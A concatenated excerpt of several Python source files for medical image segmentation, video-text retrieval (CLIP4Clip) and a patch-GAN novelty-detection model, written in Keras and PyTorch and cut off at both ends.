bs, ts, channel, h, w = video.shape video = video.view(b * pair * bs * ts, channel, h, w) # video_frame = bs * ts sequence_output, visual_output = self.get_sequence_visual_output(input_ids, video, video_mask, shaped=True) if self.training: loss = 0. sim_matrix, _ = self.get_similarity_logits(sequence_output, visual_output, video_mask, shaped=True) sim_loss1 = self.loss_fct(sim_matrix) sim_loss2 = self.loss_fct(sim_matrix.T) sim_loss = (sim_loss1 + sim_loss2) / 2 loss += sim_loss return loss else: return None def get_sequence_output(self, input_ids, shaped=False): if shaped is False: input_ids = input_ids.view(-1, input_ids.shape[-1]) bs_pair = input_ids.size(0) sequence_hidden = self.clip.encode_text(input_ids, clip4clip=True).float() sequence_hidden = sequence_hidden.view(bs_pair, -1, sequence_hidden.size(-1)) return sequence_hidden def get_visual_output(self, video, video_mask, shaped=False): if shaped is False: video_mask = video_mask.view(-1, video_mask.shape[-1]) video = torch.as_tensor(video).float() b, pair, bs, ts, channel, h, w = video.shape video = video.view(b * pair * bs * ts, channel, h, w) bs_pair = video_mask.size(0) visual_hidden = self.clip.encode_image(video).float() visual_hidden = visual_hidden.view(bs_pair, -1, visual_hidden.size(-1)) return visual_hidden def get_sequence_visual_output(self, input_ids, video, video_mask, shaped=False): if shaped is False: input_ids = input_ids.view(-1, input_ids.shape[-1]) video_mask = video_mask.view(-1, video_mask.shape[-1]) video = torch.as_tensor(video).float() b, pair, bs, ts, channel, h, w = video.shape video = video.view(b * pair * bs * ts, channel, h, w) sequence_output = self.get_sequence_output(input_ids, shaped=True) visual_output = self.get_visual_output(video, video_mask, shaped=True) return sequence_output, visual_output def get_similarity_logits(self, sequence_output, visual_output, video_mask, shaped=False, ): if shaped is False: video_mask = video_mask.view(-1, video_mask.shape[-1]) contrastive_direction = () assert self.sim_header in ["meanP"] retrieve_logits = self._loose_similarity(sequence_output, visual_output, video_mask) return retrieve_logits, contrastive_direction def _loose_similarity(self, sequence_output, visual_output, video_mask): sequence_output, visual_output = sequence_output.contiguous(), visual_output.contiguous() visual_output = visual_output / visual_output.norm(dim=-1, keepdim=True) visual_output = self._mean_pooling_for_similarity_visual(visual_output, video_mask) visual_output = visual_output / visual_output.norm(dim=-1, keepdim=True) sequence_output = sequence_output.squeeze(1) sequence_output = sequence_output / sequence_output.norm(dim=-1, keepdim=True) logit_scale = self.clip.logit_scale.exp() retrieve_logits = logit_scale * torch.matmul(sequence_output, visual_output.t()) return retrieve_logits def _mean_pooling_for_similarity_visual(self, visual_output, video_mask, ): video_mask_un = video_mask.to(dtype=torch.float).unsqueeze(-1) visual_output = visual_output * video_mask_un video_mask_un_sum = torch.sum(video_mask_un, dim=1, dtype=torch.float) video_mask_un_sum[video_mask_un_sum == 0.] = 1. video_out = torch.sum(visual_output, dim=1) / video_mask_un_sum return video_out def create_model( model_name: str = None, context_length: int = 77, pretrained: bool = False, weights_path: str = None, device: Union[str, torch.device] = None, ) -> CLIP4Clip: configs = get_configs(model_name) if "url" in configs: configs.pop("url") configs["context_length"] = context_length model = CLIP4Clip(**configs) model.to(device) if pretrained and weights_path is not None: state_dict = torch.load(weights_path, map_location=device) missing_keys = [] unexpected_keys = [] error_msgs = [] metadata = getattr(state_dict, "_metadata", None) state_dict = state_dict.copy() if metadata is not None: state_dict._metadata = metadata # pylint: disable=protected-access def load(module, prefix=""): local_metadata = {} if metadata is None else metadata.get(prefix[:-1], {}) module._load_from_state_dict( # pylint: disable=protected-access state_dict, prefix, local_metadata, True, missing_keys, unexpected_keys, error_msgs) for name, child in module._modules.items(): # pylint: disable=protected-access if child is not None: load(child, prefix + name + ".") load(model, prefix="") if len(missing_keys) > 0: logger.info("Weights of %s not initialized from pretrained model: %s", model.__class__.__name__, "\n " + "\n ".join(missing_keys)) if len(unexpected_keys) > 0: logger.info("Weights from pretrained model not used in %s: %s", model.__class__.__name__, "\n " + "\n ".join(unexpected_keys)) if len(error_msgs) > 0: logger.error("Weights from pretrained model cause errors in %s: %s", model.__class__.__name__, "\n " + "\n ".join(error_msgs)) if pretrained and weights_path is None: raise ValueError("weights_path is None") return model ```
{ "source": "jingkunchen/MS-CMR_miccai_2019", "score": 2 }
#### File: MS-CMR_miccai_2019/model/cutlge.py ```python from __future__ import print_function import os import numpy as np import SimpleITK as sitk import scipy.misc from skimage.transform import resize import matplotlib.pyplot as plt import matplotlib.image as mpimg import scipy.ndimage import cv2 import time from decimal import Decimal import skimage.io as io from skimage.morphology import square from skimage.morphology import dilation data_dir = '/Users/chenjingkun/Documents/data/C0LET2_nii45_for_challenge19/c0t2lge/' thresh = 1 rows = 224 cols = 224 xmin = 1 xmax = 1 ymin = 1 ymax = 1 xlenmin = 1 ylenmin = 1 img_count = 0 def show_img(data): for i in range(data.shape[0]): io.imshow(data[i, :, :], cmap='gray') # io.imshow(data[:,:], cmap = 'gray') io.show() def show_img_single(data): # for i in range(data.shape[0]): # io.imshow(data[i, :, :], cmap='gray') io.imshow(data[:,:], cmap = 'gray') io.show() # label transform, 500-->1, 200-->2, 600-->3 ###### LGE LGE_data_1ch = [] LGE_gt_1ch = [] img_dir = '/Users/chenjingkun/Documents/data/C0LET2_nii45_for_challenge19/lge_images/' if not os.path.exists(img_dir): os.makedirs(img_dir) gt_dir_1 = '/Users/chenjingkun/Documents/data/C0LET2_nii45_for_challenge19/reclgegt/' lge_list = [] for pp in range(6, 46): data_name = data_dir + 'patient' + str(pp) + '_LGE.nii.gz' gt_name = gt_dir_1 + 'new_data_test_' + str(pp) + '_cnn_pred_epoch_110.nii.gz' img = sitk.ReadImage(os.path.join(gt_name)) data_array = sitk.GetArrayFromImage(sitk.ReadImage( os.path.join(data_name))) gt_array = sitk.GetArrayFromImage(sitk.ReadImage(os.path.join(gt_name))) img_count +=gt_array.shape[0] # show_img(gt_array) print(np.shape(data_array)) print(np.shape(gt_array)) x = [] y = [] print("idx:", pp) for image in gt_array: # tmp = dilation(image, square(3)) # show_img_single(tmp) for i in range(np.shape(gt_array)[1]): for j in range(np.shape(gt_array)[2]): if image[i][j] != 0: if i <30 or j<30: print("label_error:", pp,i,j,image[i][j]) else: x.append(i) y.append(j) print(min(x),max(x),max(x)-min(x),round(min(x)/np.shape(gt_array)[1],2), round(max(x)/np.shape(gt_array)[1],2)) print(min(y),max(y),max(y)-min(y),round(min(y)/np.shape(gt_array)[1],2), round(max(y)/np.shape(gt_array)[1],2)) if gt_array.shape[1] == 480 or gt_array.shape[1] == 512: data_array = data_array[:,136:360,136:360] gt_array = gt_array[:,136:360,136:360] elif int(gt_array.shape[1]) == 400: data_array = data_array[:,88:312,88:312] elif int(gt_array.shape[1]) == 432: data_array = data_array[:,104:328,104:328] elif gt_array.shape[1] == 224: pass else: print("error:",gt_array.shape, int(gt_array.shape[1]) == 400) mask = np.zeros(np.shape(data_array), dtype='float32') mask[data_array >= thresh] = 1 mask[data_array < thresh] = 0 for iii in range(np.shape(data_array)[0]): mask[iii, :, :] = scipy.ndimage.morphology.binary_fill_holes( mask[iii, :, :]) #fill the holes inside br data_array = data_array - np.mean(data_array[mask == 1]) data_array /= np.std(data_array[mask == 1]) rows_o = np.shape(data_array)[1] cols_o = np.shape(data_array)[2] data_array_ = data_array[:, int((rows_o - rows) / 2):int((rows_o - rows) / 2) + rows, int((cols_o - cols) / 2):int((cols_o - cols) / 2) + cols] gt_array_ = gt_array[:, int((rows_o - rows) / 2):int((rows_o - rows) / 2) + rows, int((cols_o - cols) / 2):int((cols_o - cols) / 2) + cols] mask = mask[:, int((rows_o - rows) / 2):int((rows_o - rows) / 2) + rows, int((cols_o - cols) / 2):int((cols_o - cols) / 2) + cols] LGE_data_1ch.extend(np.float32(data_array_)) LGE_gt_1ch.extend(np.float32(gt_array_)) LGE_data_1ch = np.asarray(LGE_data_1ch) LGE_gt_1ch = np.asarray(LGE_gt_1ch) LGE_gt_1ch[LGE_gt_1ch == 500] = 1 LGE_gt_1ch[LGE_gt_1ch == 200] = 2 LGE_gt_1ch[LGE_gt_1ch == 600] = 3 np.save('LGE_data_1ch_extra.npy', LGE_data_1ch) np.save('LGE_gt_1ch_extra.npy', LGE_gt_1ch) print("LGE_gt_1ch:",LGE_gt_1ch.shape) print(img_count) ``` #### File: MS-CMR_miccai_2019/model/run_test.py ```python from __future__ import print_function from __future__ import division import click import json import os import numpy as np import SimpleITK as sitk from keras.optimizers import Adam from evaluation import getDSC, getHausdorff, getVS from models.DRUNet32f import get_model from metrics import dice_coef, dice_coef_loss # label transform, 500-->1, 200-->2, 600-->3 def get_eval_metrics(true_mask, pred_mask, output_file=''): true_mask_sitk = sitk.GetImageFromArray(true_mask) pred_mask_sitk = sitk.GetImageFromArray(pred_mask) dsc = getDSC(true_mask_sitk, pred_mask_sitk) h95 = getHausdorff(true_mask_sitk, pred_mask_sitk) vs = getVS(true_mask_sitk, pred_mask_sitk) result = {} result['dsc'] = dsc result['h95'] = h95 result['vs'] = vs if output_file != '': with open(output_file, 'w+') as outfile: json.dump(result, outfile) return (dsc, h95, vs) @click.command() @click.argument('test_imgs_np_file', type=click.STRING) @click.argument('test_masks_np_file', type=click.STRING) @click.argument('pretrained_model', type=click.STRING) @click.option('--output_pred_mask_file', type=click.STRING, default='') @click.option('--output_metric_file', type=click.STRING, default='') def main(test_imgs_np_file, test_masks_np_file, pretrained_model, output_pred_mask_file='', output_metric_file=''): num_classes = 9 # learn_rate = 1e-5 test_imgs = np.load(test_imgs_np_file) test_masks = np.load(test_masks_np_file) test_masks = test_masks[:, :, :, 0] img_shape = (test_imgs.shape[1], test_imgs.shape[2], 1) model = get_model(img_shape=img_shape, num_classes=num_classes) assert os.path.isfile(pretrained_model) model.load_weights(pretrained_model) pred_masks = model.predict(test_imgs) pred_masks = pred_masks.argmax(axis=3) dsc, h95, vs = get_eval_metrics(test_masks, pred_masks, output_metric_file) if output_pred_mask_file != '': np.save(output_pred_mask_file, pred_masks) return (dsc, h95, vs) if __name__ == '__main__': main() ``` #### File: MS-CMR_miccai_2019/model/testedge.py ```python from keras.optimizers import RMSprop, Adam from models.CNN import build_discriminator from models.DRUNet32f import get_model from keras.models import Model from keras.layers import Input,Concatenate import numpy as np import SimpleITK as sitk import skimage.io as io import os import re from keras import backend as K from keras.losses import categorical_crossentropy img_shape = (224, 224, 1) masks_shape= (224, 224, 4) num_classes = 5 learn_rate = 2e-4 learn_decay = 1e-8 test_file = "/Users/chenjingkun/Documents/result/MS-CMR_miccai_2019_result/dice/LGE_test_224_224.npy" patient_path = "/Users/chenjingkun/Documents/data/C0LET2_nii45_for_challenge19/c0t2lge" weight_file = "/Users/chenjingkun/Documents/result/MS-CMR_miccai_2019_result/dice/submit/edge_25_5.h5" output_path = "/Users/chenjingkun/Documents/result/MS-CMR_miccai_2019_result/dice/submit/edge_25_5.nii.gz" smooth=1. def dice_coef_for_training(y_true, y_pred): y_true_f = K.flatten(y_true) y_pred_f = K.flatten(y_pred) intersection = K.sum(y_true_f * y_pred_f) return (2. * intersection + smooth) / (K.sum(y_true_f) + K.sum(y_pred_f) + smooth) def cross_dice_coef_loss(y_true, y_pred): x0 = 1.-dice_coef_for_training(1-y_true[0], 1-y_pred[0]) x1 = 1.-dice_coef_for_training(y_true[1], y_pred[1]) x2 = 1.-dice_coef_for_training(y_true[2], y_pred[2]) x3 = 1.-dice_coef_for_training(y_true[3], y_pred[3]) return x0+x1+x2+x3 def dice_coef_loss(y_true, y_pred): x = 1.-dice_coef_for_training(y_true, y_pred) return x def dice_cross_loss(y_true, y_pred): return 0.8*categorical_crossentropy(y_true,y_pred) + 0.2*cross_dice_coef_loss(y_true, y_pred) # return 0.8*categorical_crossentropy(y_true,y_pred) + 0.2*cross_dice_coef_loss(y_true, y_pred) opt_discriminator = Adam(lr=(learn_rate)) mask_shape_discrimator = (masks_shape[0], masks_shape[1], num_classes + 1) optimizer = RMSprop(lr=learn_rate, clipvalue=1.0, decay= learn_decay) discriminator = build_discriminator(mask_shape_discrimator) # discriminator.compile(loss='binary_crossentropy', optimizer=opt_discriminator) # discriminator.summary() generator_nn = get_model(img_shape=img_shape, num_classes=5) # generator_nn.compile(loss='categorical_crossentropy', # optimizer=opt_discriminator) img = Input(shape=img_shape) rec_mask = generator_nn(img) rec_mask_new = Concatenate()([rec_mask, img]) discriminator.trainable = False validity = discriminator(rec_mask_new) adversarial_model = Model(img, [rec_mask, validity], name='D') # adversarial_model.compile( # loss=['categorical_crossentropy', 'binary_crossentropy'], # loss_weights=[1, 1], # optimizer=optimizer) adversarial_model.load_weights(weight_file) def read_img(path): img = sitk.ReadImage(path) data = sitk.GetArrayFromImage(img) return data.shape def show_img(path): img = sitk.ReadImage(path) data = sitk.GetArrayFromImage(img) for i in range(data.shape[0]): io.imshow(data[i,:,:], cmap = 'gray') print(i) io.show() def get_shape_dict(): shape_dict = {} for root, dirs, files in os.walk(patient_path): for i in files: if (None != re.search("_LGE.nii.gz", i)): tmp = i.replace("_LGE.nii.gz","") idx = tmp.replace("patient","") print("idx:", idx) shape = read_img(os.path.join(patient_path, i)) shape_dict[int(idx)]= shape return shape_dict def predict(orig_num, orig_rows, orig_cols, output_file, start, end): print("orig_num, orig_rows, orig_cols, output_file, start, end:",orig_num, orig_rows, orig_cols, output_file, start, end) # orig_mask_1 = np.zeros([orig_num, orig_rows, orig_cols], dtype = 'float32') orig_mask_1 = np.zeros([orig_num, 224, 224], dtype = 'float32') test_images = np.load(test_file) print("test_images:",test_images.shape) test_images = test_images[start:end,:,:,np.newaxis] pred_masks_1 = adversarial_model.predict(test_images) pred_masks_1 =pred_masks_1[0] pred_masks_1 = pred_masks_1[:,:,:,:4] print("pred_masks_1:",pred_masks_1.shape) pred_masks_1 = pred_masks_1.argmax(axis=3) rows = np.shape(pred_masks_1)[1] cols = np.shape(pred_masks_1)[2] orig_mask_1[:,:,:] = pred_masks_1 # if orig_rows == 480 or orig_rows == 512: # orig_mask_1[:, 136:360, 136:360] = pred_masks_1 # elif int(orig_rows) == 400: # orig_mask_1[:, 88:312, 88:312] = pred_masks_1 # # data_array = data_array[:,88:312,88:312] # elif int(orig_rows) == 432: # orig_mask_1[:, 104:328, 104:328] = pred_masks_1 # # data_array = data_array[:,104:328,104:328] # elif orig_rows == 224: # orig_mask_1 = pred_masks_1 # else: # print("error:",orig_rows, orig_rows == 400) return orig_mask_1 #sitk.WriteImage(sitk.GetImageFromArray(orig_mask_1),output_file) def main(): test_images = np.load(test_file) print("test_images:",test_images.shape) shape_dict = get_shape_dict() slice_count = -1 tmp1 = None for i in range(6,46): print(i) tmp = shape_dict[i] orig_num = tmp[0] orig_rows = tmp[1] orig_cols = tmp[2] print("shape:", orig_num, orig_rows, orig_cols) # output_file = output_path.replace("patient",str(i)) start = slice_count + 1 print("start:",start) slice_count = slice_count + orig_num end = slice_count + 1 print("end:",end) result = predict(orig_num, orig_rows, orig_cols, output_path, start, end) if tmp1 is None: tmp1 = result.copy() print("start:",i,tmp1.shape) else: print("start:",i,tmp1.shape) tmp1 = np.concatenate((tmp1, result),axis = 0) print("end:",i,tmp1.shape) print("total:",tmp1.shape) sitk.WriteImage(sitk.GetImageFromArray(tmp1),output_path) print("slice_count:",slice_count) if __name__ == "__main__": main() ``` #### File: jingkunchen/MS-CMR_miccai_2019/utils.py ```python import scipy.misc import numpy as np import matplotlib.pyplot as plt def merge(images, size): h, w = images.shape[1], images.shape[2] if (images.shape[3] in (3,4)): c = images.shape[3] img = np.zeros((h * size[0], w * size[1], c)) try: for idx, image in enumerate(images): i = idx % size[1] j = idx // size[1] img[j * h:j * h + h, i * w:i * w + w, :] = image return img except: return img elif images.shape[3]==1: img = np.zeros((h * size[0], w * size[1])) for idx, image in enumerate(images): i = idx % size[1] j = idx // size[1] #print(idx) a = img[j * h:j * h + h, i * w:i * w + w] if(a.shape == image[:, :, 0].shape): img[j * h:j * h + h, i * w:i * w + w] = image[:, :, 0] return img else: raise ValueError('in merge(images,size) images parameter ' 'must have dimensions: HxW or HxWx3 or HxWx4') def imsave(images, size, path): image = np.squeeze(merge(images, size)) return scipy.misc.imsave(path, image) def inverse_transform(images): return (images+1.)/2. def save_images(images, size, image_path): return imsave(inverse_transform(images), size, image_path) def montage(images, saveto='montage.png'): """ Draw all images as a montage separated by 1 pixel borders. Also saves the file to the destination specified by `saveto`. Arguments: images {np.array} -- Numpy array containing a list of images. Keyword Arguments: saveto {str} -- destination file name. (default: {'montage.png'}) Returns: [np.array] -- The montage numpy array. """ if isinstance(images, list): images = np.array(images) img_h = images.shape[1] img_w = images.shape[2] n_plots = int(np.ceil(np.sqrt(images.shape[0]))) if len(images.shape) == 4 and images.shape[3] == 3: m = np.ones( (images.shape[1] * n_plots + n_plots + 1, images.shape[2] * n_plots + n_plots + 1, 3)) * 0.5 else: m = np.ones( (images.shape[1] * n_plots + n_plots + 1, images.shape[2] * n_plots + n_plots + 1)) * 0.5 for i in range(n_plots): for j in range(n_plots): this_filter = i * n_plots + j if this_filter < images.shape[0]: this_img = images[this_filter] m[1 + i + i * img_h:1 + i + (i + 1) * img_h, 1 + j + j * img_w:1 + j + (j + 1) * img_w] = this_img plt.imsave(arr=m, fname=saveto) return m ```
{ "source": "jingkunchen/patch_gan_alocc", "score": 2 }
#### File: jingkunchen/patch_gan_alocc/models.py ```python from __future__ import print_function, division from keras.datasets import mnist from keras.layers import Input, Dense, Reshape, Flatten, Dropout, multiply, GaussianNoise from keras.layers import BatchNormalization, Activation, Embedding, ZeroPadding2D from keras.layers import Concatenate from keras.layers.advanced_activations import LeakyReLU from keras.layers.convolutional import UpSampling2D, Conv2D, Conv2DTranspose from keras.models import Sequential, Model from keras.optimizers import Adam, RMSprop from keras import losses from keras.callbacks import TensorBoard from keras.utils import to_categorical import keras.backend as K import logging import matplotlib.pyplot as plt import os import patch_utils import numpy as np from patchdiscrimator import PatchGanDiscriminator from utils import * from kh_tools import * os.environ['CUDA_VISIBLE_DEVICES'] = '0' class ALOCC_Model(): def __init__(self, input_height=32,input_width=32, output_height=32, output_width=32, attention_label=1, is_training=True, z_dim=100, gf_dim=16, df_dim=16, c_dim=3, dataset_name=None, dataset_address=None, input_fname_pattern=None, checkpoint_dir='checkpoint', log_dir='log', sample_dir='sample', r_alpha = 0.2, kb_work_on_patch=True, nd_patch_size=(10, 10), n_stride=1, n_fetch_data=10): """ This is the main class of our Adversarially Learned One-Class Classifier for Novelty Detection. :param sess: TensorFlow session. :param input_height: The height of image to use. :param input_width: The width of image to use. :param output_height: The height of the output images to produce. :param output_width: The width of the output images to produce. :param attention_label: Conditioned label that growth attention of training label [1] :param is_training: True if in training mode. :param z_dim: (optional) Dimension of dim for Z, the output of encoder. [100] :param gf_dim: (optional) Dimension of gen filters in first conv layer, i.e. g_decoder_h0. [16] :param df_dim: (optional) Dimension of discrim filters in first conv layer, i.e. d_h0_conv. [16] :param c_dim: (optional) Dimension of image color. For grayscale input, set to 1. [3] :param dataset_name: 'UCSD', 'mnist' or custom defined name. :param dataset_address: path to dataset folder. e.g. './dataset/mnist'. :param input_fname_pattern: Glob pattern of filename of input images e.g. '*'. :param checkpoint_dir: path to saved checkpoint(s) directory. :param log_dir: log directory for training, can be later viewed in TensorBoard. :param sample_dir: Directory address which save some samples [.] :param r_alpha: Refinement parameter, trade-off hyperparameter for the G network loss to reconstruct input images. [0.2] :param kb_work_on_patch: Boolean value for working on PatchBased System or not, only applies to UCSD dataset [True] :param nd_patch_size: Input patch size, only applies to UCSD dataset. :param n_stride: PatchBased data preprocessing stride, only applies to UCSD dataset. :param n_fetch_data: Fetch size of Data, only applies to UCSD dataset. """ self.b_work_on_patch = kb_work_on_patch self.sample_dir = sample_dir self.is_training = is_training self.r_alpha = r_alpha self.input_height = input_height self.input_width = input_width self.output_height = output_height self.output_width = output_width self.z_dim = z_dim self.gf_dim = gf_dim self.df_dim = df_dim self.dataset_name = dataset_name self.dataset_address= dataset_address self.input_fname_pattern = input_fname_pattern self.checkpoint_dir = checkpoint_dir self.log_dir = log_dir self.attention_label = attention_label if self.is_training: logging.basicConfig(filename='ALOCC_loss.log', level=logging.INFO) if self.dataset_name == 'mnist': X_train = np.load("/home/cvip/jingkun/data/BraTS19/npy/25_100/health_train_25_100.npy") X_train = X_train[:,:,:,np.newaxis] print(X_train.shape) self.data = X_train self.c_dim = 1 else: assert('Error in loading dataset') self.grayscale = (self.c_dim == 1) self.build_model() def build_generator(self, input_shape): """Build the generator/R network. Arguments: input_shape {list} -- Generator input shape. Returns: [Tensor] -- Output tensor of the generator/R network. """ image = Input(shape=input_shape, name='z') # Encoder. x = Conv2D(filters=self.df_dim * 2, kernel_size = 5, strides=2, padding='same', name='g_encoder_h0_conv')(image) x = BatchNormalization()(x) x = LeakyReLU()(x) x = Conv2D(filters=self.df_dim * 4, kernel_size = 5, strides=2, padding='same', name='g_encoder_h1_conv')(x) x = BatchNormalization()(x) x = LeakyReLU()(x) x = Conv2D(filters=self.df_dim * 8, kernel_size = 5, strides=2, padding='same', name='g_encoder_h2_conv')(x) x = BatchNormalization()(x) x = LeakyReLU()(x) # Decoder. # TODO: need a flexable solution to select output_padding and padding. # x = Conv2DTranspose(self.gf_dim*2, kernel_size = 5, strides=2, activation='relu', padding='same', output_padding=0, name='g_decoder_h0')(x) # x = BatchNormalization()(x) # x = Conv2DTranspose(self.gf_dim*1, kernel_size = 5, strides=2, activation='relu', padding='same', output_padding=1, name='g_decoder_h1')(x) # x = BatchNormalization()(x) # x = Conv2DTranspose(self.c_dim, kernel_size = 5, strides=2, activation='tanh', padding='same', output_padding=1, name='g_decoder_h2')(x) x = Conv2D(self.gf_dim*1, kernel_size=5, activation='relu', padding='same')(x) x = UpSampling2D((2, 2))(x) x = Conv2D(self.gf_dim*1, kernel_size=5, activation='relu', padding='same')(x) x = UpSampling2D((2, 2))(x) x = Conv2D(self.gf_dim*2, kernel_size=3, activation='relu', padding='same')(x) x = UpSampling2D((2, 2))(x) x = Conv2D(self.c_dim, kernel_size=5, activation='sigmoid', padding='same')(x) return Model(image, x, name='R') def build_discriminator(self, input_shape): """Build the discriminator/D network Arguments: input_shape {list} -- Input tensor shape of the discriminator network, either the real unmodified image or the generated image by generator/R network. Returns: [Tensor] -- Network output tensors. """ image = Input(shape=input_shape, name='d_input') x = Conv2D(filters=self.df_dim, kernel_size = 5, strides=2, padding='same', name='d_h0_conv')(image) x = LeakyReLU()(x) x = Conv2D(filters=self.df_dim*2, kernel_size = 5, strides=2, padding='same', name='d_h1_conv')(x) x = BatchNormalization()(x) x = LeakyReLU()(x) x = Conv2D(filters=self.df_dim*4, kernel_size = 5, strides=2, padding='same', name='d_h2_conv')(x) x = BatchNormalization()(x) x = LeakyReLU()(x) x = Conv2D(filters=self.df_dim*8, kernel_size = 5, strides=2, padding='same', name='d_h3_conv')(x) x = BatchNormalization()(x) x = LeakyReLU()(x) x = Flatten()(x) x = Dense(1, activation='sigmoid', name='d_h3_lin')(x) return Model(image, x, name='D') def build_discriminator_patch(self,input_shape): def d_layer(layer_input, filters, f_size=4, bn=True): """Discriminator layer""" d = Conv2D(filters, kernel_size=f_size, strides=2, padding='same')(layer_input) d = LeakyReLU(alpha=0.2)(d) if bn: d = BatchNormalization(momentum=0.8)(d) return d img_A = Input(shape=input_shape) # img_B = Input(shape=input_shape) # Concatenate image and conditioning image by channels to produce input # combined_imgs = Concatenate(axis=-1)([img_A, img_B]) d1 = d_layer(img_A, self.df_dim, bn=False) d2 = d_layer(d1, self.df_dim*2) d3 = d_layer(d2, self.df_dim*4) # d4 = d_layer(d3, self.df_dim*8) validity = Conv2D(1, kernel_size=4, strides=1, padding='same')(d3) return Model(img_A, validity) def build_model(self): image_dims = [self.input_height, self.input_width, self.c_dim] optimizer = RMSprop(lr=0.002, clipvalue=1.0, decay=1e-8) self.disc_patch = (4, 4, 1) self.discriminator = self.build_discriminator_patch(image_dims) # nb_patch_patches, patch_gan_dim = patch_utils.num_patches( # output_img_dim=image_dims, sub_patch_dim=sub_patch_dim) # print("nb_patch_patches:", nb_patch_patches) # print("patch_gan_dim:", patch_gan_dim) # self.discriminator = PatchGanDiscriminator( # output_img_dim=image_dims, # patch_dim=patch_gan_dim, # nb_patches=nb_patch_patches) # Construct discriminator/D network takes real image as input. # D - sigmoid and D_logits -linear output. # self.discriminator = self.build_discriminator(image_dims) # Model to train D to discrimate real images. self.discriminator.compile(optimizer=optimizer, loss='binary_crossentropy') # Construct generator/R network. self.generator = self.build_generator(image_dims) img = Input(shape=image_dims) reconstructed_img = self.generator(img) self.discriminator.trainable = False validity = self.discriminator(reconstructed_img) # Model to train Generator/R to minimize reconstruction loss and trick D to see # generated images as real ones. self.adversarial_model = Model(img, [reconstructed_img, validity]) self.adversarial_model.compile(loss=['binary_crossentropy', 'binary_crossentropy'], loss_weights=[self.r_alpha, 1], optimizer=optimizer) print('\n\rgenerator') self.generator.summary() print('\n\rdiscriminator') self.discriminator.summary() print('\n\radversarial_model') self.adversarial_model.summary() def train(self, epochs, batch_size = 128, sample_interval=500): # Make log folder if not exist. log_dir = os.path.join(self.log_dir, self.model_dir) os.makedirs(log_dir, exist_ok=True) if self.dataset_name == 'mnist': # Get a batch of sample images with attention_label to export as montage. sample = self.data[0:batch_size] # Export images as montage, sample_input also use later to generate sample R network outputs during training. sample_inputs = np.array(sample).astype(np.float32) os.makedirs(self.sample_dir, exist_ok=True) counter = 1 # Record generator/R network reconstruction training losses. plot_epochs = [] plot_g_recon_losses = [] # Load traning data, add random noise. if self.dataset_name == 'mnist': sample_w_noise = get_noisy_data(self.data) # Adversarial ground truths ones = np.ones((batch_size,) + self.disc_patch) zeros = np.zeros((batch_size,) + self.disc_patch) # ones = np.ones((batch_size, 1)) # zeros = np.zeros((batch_size, 1)) for epoch in range(epochs): print('Epoch ({}/{})-------------------------------------------------'.format(epoch,epochs)) if self.dataset_name == 'mnist': # Number of batches computed by total number of target data / batch size. batch_idxs = len(self.data) // batch_size for idx in range(0, batch_idxs): # Get a batch of images and add random noise. if self.dataset_name == 'mnist': batch = self.data[idx * batch_size:(idx + 1) * batch_size] batch_noise = sample_w_noise[idx * batch_size:(idx + 1) * batch_size] batch_clean = self.data[idx * batch_size:(idx + 1) * batch_size] # Turn batch images data to float32 type. batch_images = np.array(batch).astype(np.float32) batch_noise_images = np.array(batch_noise).astype(np.float32) batch_clean_images = np.array(batch_clean).astype(np.float32) if self.dataset_name == 'mnist': batch_fake_images = self.generator.predict(batch_noise_images) # Update D network, minimize real images inputs->D-> ones, noisy z->R->D->zeros loss. d_loss_real = self.discriminator.train_on_batch(batch_images, ones) d_loss_fake = self.discriminator.train_on_batch(batch_fake_images, zeros) # Update R network twice, minimize noisy z->R->D->ones and reconstruction loss. self.adversarial_model.train_on_batch(batch_noise_images, [batch_clean_images, ones]) g_loss = self.adversarial_model.train_on_batch(batch_noise_images, [batch_clean_images, ones]) plot_epochs.append(epoch+idx/batch_idxs) plot_g_recon_losses.append(g_loss[1]) counter += 1 msg = 'Epoch:[{0}]-[{1}/{2}] --> d_loss: {3:>0.3f}, g_loss:{4:>0.3f}, g_recon_loss:{4:>0.3f}'.format(epoch, idx, batch_idxs, d_loss_real+d_loss_fake, g_loss[0], g_loss[1]) print(msg) logging.info(msg) if np.mod(counter, sample_interval) == 0: if self.dataset_name == 'mnist': samples = self.generator.predict(sample_inputs) manifold_h = int(np.ceil(np.sqrt(samples.shape[0]))) manifold_w = int(np.floor(np.sqrt(samples.shape[0]))) # Save the checkpoint end of each epoch. self.save(epoch) # Export the Generator/R network reconstruction losses as a plot. plt.title('Generator/R network reconstruction losses') plt.xlabel('Epoch') plt.ylabel('training loss') plt.grid() plt.plot(plot_epochs,plot_g_recon_losses) plt.savefig('plot_g_recon_losses.png') @property def model_dir(self): return "{}_{}_{}".format( self.dataset_name, self.output_height, self.output_width) def save(self, step): """Helper method to save model weights. Arguments: step {[type]} -- [description] """ os.makedirs(self.checkpoint_dir, exist_ok=True) model_name = 'ALOCC_Model_{}.h5'.format(step) self.adversarial_model.save_weights(os.path.join(self.checkpoint_dir, model_name)) if __name__ == '__main__': model = ALOCC_Model(dataset_name='mnist', input_height=32,input_width=32) model.train(epochs=500, batch_size=128, sample_interval=500) ``` #### File: jingkunchen/patch_gan_alocc/patchdiscrimator.py ```python from keras.layers import Flatten, Dense, Input, Reshape, merge, Lambda, concatenate from keras.layers.convolutional import Convolution2D, Conv2D from keras.layers.normalization import BatchNormalization from keras.layers.advanced_activations import LeakyReLU from keras.models import Model import keras.backend as K import numpy as np def PatchGanDiscriminator(output_img_dim, patch_dim, nb_patches): """ Creates the generator according to the specs in the paper below. [https://arxiv.org/pdf/1611.07004v1.pdf][5. Appendix] PatchGAN only penalizes structure at the scale of patches. This discriminator tries to classify if each N x N patch in an image is real or fake. We run this discriminator convolutationally across the image, averaging all responses to provide the ultimate output of D. The discriminator has two parts. First part is the actual discriminator seconds part we make it a PatchGAN by running each image patch through the model and then we average the responses Discriminator does the following: 1. Runs many pieces of the image through the network 2. Calculates the cost for each patch 3. Returns the avg of the costs as the output of the network :param patch_dim: ( width, height, channels) T :param nb_patches: :return: """ # ------------------------------- # DISCRIMINATOR # C64-C128-C256-C512-C512-C512 (for 256x256) # otherwise, it scales from 64 # 1 layer block = Conv - BN - LeakyRelu # ------------------------------- stride = 2 bn_mode = 2 axis = 1 input_layer = Input(shape=patch_dim) # We have to build the discriminator dinamically because # the size of the disc patches is dynamic num_filters_start = 64 nb_conv = int(np.floor(np.log(output_img_dim[1]) / np.log(2))) filters_list = [num_filters_start * min(8, (2 ** i)) for i in range(nb_conv)] # CONV 1 # Do first conv bc it is different from the rest # paper skips batch norm for first layer disc_out = Conv2D(kernel_size=(4, 4), filters=64, strides=(2, 2), padding="same")(input_layer) disc_out = 